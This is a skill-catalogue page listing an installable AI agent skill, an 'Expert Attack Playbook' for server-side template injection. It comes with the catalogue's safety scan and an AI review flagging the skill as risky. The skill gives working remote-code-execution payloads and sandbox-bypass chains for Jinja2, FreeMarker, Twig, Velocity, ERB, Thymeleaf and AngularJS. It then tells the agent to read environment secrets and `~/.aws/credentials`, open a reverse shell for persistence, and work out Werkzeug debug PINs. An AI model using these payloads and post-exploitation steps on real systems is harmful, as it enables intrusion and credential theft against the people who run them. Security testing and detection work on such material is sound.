ssti-server-side-template-injection
Before using full engine-specific exploitation, you can first load:
Install / Use
npx skills add yaklang/hack-skills --skill ssti-server-side-template-injectionInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of ssti-server-side-template-injection
ssti-server-side-template-injection scores 90/100 on our quality scale, 486th of 1,108 Security skills we index (top 44%).
Its SKILL.md is 11 KB long, well organised into 40 sections with 24 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so ssti-server-side-template-injection is actively maintained.
- Our last check on 2026-10-30 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit β read the skill file before letting an agent act on it.
Safety scan
WarningOur scan of the whole file found 1 high-risk pattern. Read the lines below before installing ssti-server-side-template-injection, and do not run it with automatic approvals. An AI review judged it risky (a second model did not confirm it as malicious): The file is an agent instruction set that walks through achieving RCE via SSTI across many engines (Jinja2, FreeMarker, Twig, Velocity, ERB, Thymeleaf, AngularJS) with concrete exploit payloads.
- highReads private keys or cloud credentialsline 278
3. `cat ~/.aws/credentials` β cloud credentials
AI review: risky
- The file is an agent instruction set that walks through achieving RCE via SSTI across many engines (Jinja2, FreeMarker, Twig, Velocity, ERB, Thymeleaf, AngularJS) with concrete exploit payloads.
- It explicitly instructs post-exploitation credential theft and persistence: read /proc/self/environ, application configs, ~/.aws/credentials, and establish a reverse shell.
- It includes a section on calculating/bypassing Flask Werkzeug debug PINs and reading machine identifiers, which is aimed at subverting access controls.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-01. Automated pattern scan on 2026-09-30. It catches known dangerous patterns, not every risk β read a skill before letting an agent act on it.
ssti-server-side-template-injection compared with similar skills
All 4 of these similar skills score higher than ssti-server-side-template-injection; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| ssti-server-side-template-injection (this skill)by yaklang | 90 | 2.3k | 2mo ago | SKILL.md |
| x402by browser-use | 100 | 121.0k | 3d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 149.0k | 6d ago | SKILL.md |
Frequently asked questions
- How do I install ssti-server-side-template-injection?
- Run
npx skills add yaklang/hack-skills --skill ssti-server-side-template-injection. The install tabs above show the steps for each supported agent. - Which AI agents does ssti-server-side-template-injection work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is ssti-server-side-template-injection safe to use?
- Our scan of the whole file found 1 high-risk pattern. Read the lines below before installing ssti-server-side-template-injection, and do not run it with automatic approvals. An AI review judged it risky (a second model did not confirm it as malicious): The file is an agent instruction set that walks through achieving RCE via SSTI across many engines (Jinja2, FreeMarker, Twig, Velocity, ERB, Thymeleaf, AngularJS) with concrete exploit payloads. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is ssti-server-side-template-injection still maintained?
- The repository was last updated about 2 months ago, so ssti-server-side-template-injection is actively maintained.
Skill content
View source on GitHubname: ssti-server-side-template-injection description: >- SSTI playbook. Use when template expressions, server-side rendering, preview features, or templating engines may evaluate attacker-controlled content.
SKILL: Server-Side Template Injection (SSTI) β Expert Attack Playbook
AI LOAD INSTRUCTION: Expert SSTI techniques. Covers polyglot detection probes, engine fingerprinting, Jinja2/FreeMarker/Twig/ERB RCE chains, client-side Angular SSTI, and bypass techniques. Base models often miss sandbox escape MRO chains and non-Jinja2 engines. For PHP CMS template eval, Jira SSTI, Confluence OGNL, and Spring Cloud Gateway SpEL, load the companion SCENARIOS.md.
0. RELATED ROUTING
Before using full engine-specific exploitation, you can first load:
- First use the polyglot probe sequence at the top of this file for low-noise fingerprinting
- expression-language-injection when
${7*7}or%{7*7}resolves in Java (SpEL/OGNL) β different attack surface from template engines
Extended Scenarios
Also load SCENARIOS.md when you need:
- Maccms 8.x PHP template
evalβ{if-A:phpinfo()}{endif-A}invod-search, base64 bypass for webshell write - Jira CVE-2019-11581 β "Contact Administrators" form β Velocity template injection β command output in admin email
- Spring Cloud Gateway SpEL (CVE-2022-22947) β actuator route injection with
StreamUtils.copyToByteArrayfor output capture - Struts2 OGNL S2-045 (CVE-2017-5638) β Content-Type header OGNL injection with
_memberAccess/OgnlUtilblacklist clear - Confluence OGNL CVE-2021-26084 β
createpage-entervariables.actionwith\u0027unicode bypass - SSTI vs EL injection disambiguation guide
- Additional template engines: ASP.NET Razor, Elixir EEx, PHP Smarty/Latte/Blade, JS Pug/Handlebars/Nunjucks/EJS/Lodash + universal detection + blind SSTI + Flask PIN calculation
SCENARIOS.md reference (Β§7βΒ§11): For expanded payloads and engine-specific notes on Razor, EEx/LEEx/HEEx, PHP stacks, JavaScript template engines, the universal polyglot probe, mathematical fingerprinting, blind SSTI (boolean / time / OOB), and Flask debug PIN prerequisites, see SCENARIOS.md. This skill keeps a short checklist in Β§13βΒ§15.
Engine Payloads Reference
For extended engine-specific fingerprinting, payload matrices (Jinja2, Twig, Freemarker, Velocity, Pebble, Mako, Slim, Handlebars, Thymeleaf, Smarty, ERB, Jade/Pug), and blind SSTI detection techniques (timing-based, DNS-based), see ENGINE_PAYLOADS.md.
Universal detection & blind SSTI (pointer)
Use the polyglot payload and math probes in Β§1 and Β§13 first; when you need fuller blind-test patterns and per-engine examples (including non-Python stacks), follow SCENARIOS.md Β§11 and cross-check Β§14 here for technique names (boolean, time, OOB, error-based).
1. DETECTION β POLYGLOT PROBE SEQUENCE
First test: distinguish SSTI from XSS. Send these probes and check if math is evaluated server-side:
{{7*7}} β IF returns 49 (not {{7*7}}) β Jinja2 or Twig
${7*7} β IF returns 49 β FreeMarker, Velocity, or Java EL
#{7*7} β Ruby (ERB interpolation in strings)
<#assign x=7*7>${x} β FreeMarker
@{7*7} β Thymeleaf
*{7*7} β Thymeleaf SpEL (*{...})
Jinja2 vs Twig disambiguation:
{{7*'7'}}
β 7777777 = Jinja2 (Python string multiplication)
β 49 = Twig (PHP numeric)
Safe detection probe (no math, just boolean):
{{''.__class__}} β class 'str' = Python/Jinja2
2. ENGINE-TO-LANGUAGE MAPPING
| Template Engine | Language | Framework | |---|---|---| | Jinja2 | Python | Flask, FastAPI | | Django Templates | Python | Django | | Mako | Python | Pyramid | | Twig | PHP | Symfony, Laravel | | Smarty | PHP | Various | | FreeMarker | Java | Spring MVC | | Velocity | Java | Various Java | | Pebble | Java | Various Java | | Thymeleaf | Java | Spring Boot | | ERB | Ruby | Rails | | Slim / Haml | Ruby | Rails | | Jade / Pug | Node.js | Express | | Handlebars | Node.js | Express | | Tornado | Python | Tornado |
Identifying language from errors β then narrow to template engine.
3. JINJA2 (PYTHON FLASK) β RCE CHAINS
Chain 1: os module via __globals__
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Chain 2: MRO subclass traversal (sandbox escape)
# List all subclasses:
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen index (usually around 258-270, varies by Python version):
# Look for "subprocess.Popen" in the list
# Execute command (replace [258] with correct index):
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}
Chain 3: request object globals (works when config blocked)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
(Uses hex encoding to avoid _ filtering)
Chain 4: lipsum function globals (Flask built-in)
{{lipsum.__globals__.os.popen('id').read()}}
Chain 5: cycler object
{{cycler.__init__.__globals__.os.popen('id').read()}}
Finding correct subprocess index dynamically:
# In injection:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{loop.index}}
{% endif %}
{% endfor %}
4. JINJA2 SANDBOX BYPASS TECHNIQUES
When _ (underscore) is blocked:
# Use attr filter with hex encoding:
''|attr('\x5f\x5fclass\x5f\x5f')
# Use getattr via request object:
request|attr('args')|attr('__class__')
When . (dot) is blocked:
# Use [] subscript notation:
''['__class__']
config['SECRET_KEY']
When keywords (class, mro) are blocked:
Use hex/unicode in attr():
|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')
When output encoding strips HTML entities:
Use |safe filter to prevent auto-escaping.
5. FREEMARKER (JAVA) β RCE
Execute Command via freemarker.template.utility.Execute
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
Alternative via ObjectConstructor:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}
6. TWIG (PHP) β RCE
// Twig 1.x (before sandbox):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
// Twig 2.x using built-ins:
{{['id']|map('system')|join}}
// via filter map:
{{app.request.server.all|join(',')}}
7. VELOCITY (JAVA) β RCE
#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)
Or more directly:
#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))
8. ERB (RUBY RAILS) β RCE
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>
9. THYMELEAF (JAVA SPRING) β RCE
Thymeleaf with Spring EL (SpEL):
// In th:text or th:fragment context:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type
// Fragment expression context:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type
10. CLIENT-SIDE TEMPLATE INJECTION (AngularJS)
When AngularJS is used client-side and user data flows into template expressions:
// AngularJS 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}
// 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
// 1.3.x:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
Detection: send {{1+1}} β if page shows 2, AngularJS evaluates expressions in the DOM.
11. SSTI β FULL RCE PATH
SSTI detected β identify engine
βββ Jinja2 β config.__globals__['os'].popen()
β OR subclass traversal for Popen
βββ FreeMarker β freemarker.template.utility.Execute?new()
βββ Twig β _self.env.registerUndefinedFilterCallback('exec')
βββ Velocity β java.lang.Runtime.exec()
βββ ERB β <%= `cmd` %>
βββ Thymeleaf β T(java.lang.Runtime).getRuntime().exec()
βββ Angular CSTI β constructor.constructor('payload')()
Post-RCE pivot:
- Read
/proc/self/environβ env vars with credentials - Read application config files β DB passwords, API keys
cat ~/.aws/credentialsβ cloud credentials- Reverse shell for persistence
12. COMMON INJECTION ENTRY POINTS
Where user data enters templates:
- URL path:
https://site.com/home?name={{7*7}} - Query parameters:
?message=Hello - HTML forms: profile name, bio, content fields
- Error pages:
404 Not Found: /PAYLOAD - Email templates: name in password reset emails
- Inline template rendering:
render_template_string(user_input)
Most dangerous: render_template_string() in Flask β entire user input used as template.
13. UNIVERSAL DETECTION PAYLOADS
Polyglot probe that triggers errors or evaluation in many engines:
${{<%[%'"}}%\.
Mathematical probes for blind/error confirmation:
{{7*7}} β 49 (Jinja2, Twig, Nunjucks, Handlebars)
${7*7} β 49 (FreeMarker, Velocity, EL, Thymeleaf)
<%= 7*7 %> β 49 (ERB, EJS, EEx)
#{7*7} β 49 (Pug, Ruby interpolation)
@(7*7) β 49 (Razor)
{7*7} β 49 (Smarty)
Error-based engine fingerprint (parser/stack traces often name the engine):
(1/0).zxy.zxy
14. BLIND SSTI TECHNIQUES
- Boolean-based: Compare
(3*4/2)vs3*)2(/4β if the first resolves and the second errors, evaluation is likely - Time-based:
{{sleep(5)}}or the engine-specific equivalent for delay - OOB: DNS/HTTP callback via template expressions when direct output is not visible
- Error-based: Force different error messages based on true/false conditions
15. FLASK PIN CALCULATION
When Flask debug mode (Werkzeug debugger) is exposed but PIN-protected, the PIN is derived from host-specific values. Typical inputs for public PIN calculation scripts:
usernameβ from/etc/passwd(the user running the Flask process)- Module name β often
flask.apporFlask - Application path β
app.pyor the real main filename - MAC address β e.g.
/sys/class/net/eth0/address, converted to decimal as Werkzeug expects - Machine ID β
/etc/machine-id, or/proc/sys/kernel/random/boot_idcombined with the first line of/proc/self/cgroupper Werkzeugβs algorithm - Compute PIN β use established open-source PIN calculators that implement the same algorithm from these values
Use only on systems you are authorized to test; obtaining these values implies prior access or an additional info-disclosure vector.
Related Skills
x402
121.0kSet up Browser Use Cloud payments with x402 β pay per request from a crypto wallet (USDC on Base mainnet), no signup or API key.
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
pptx
177.9kUse this skill any time a .pptx or .potx file is involved in any way β as input, output, or both. This includes: creating slide decks, pitch decks, or presentations; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an emβ¦
design
149.0kComprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini, Atlas Cloud, or MuAPI AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social/ads/web/print), icon design (15 styles, SVGβ¦
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit β see the Safety scan above for what the skill file itself contains.
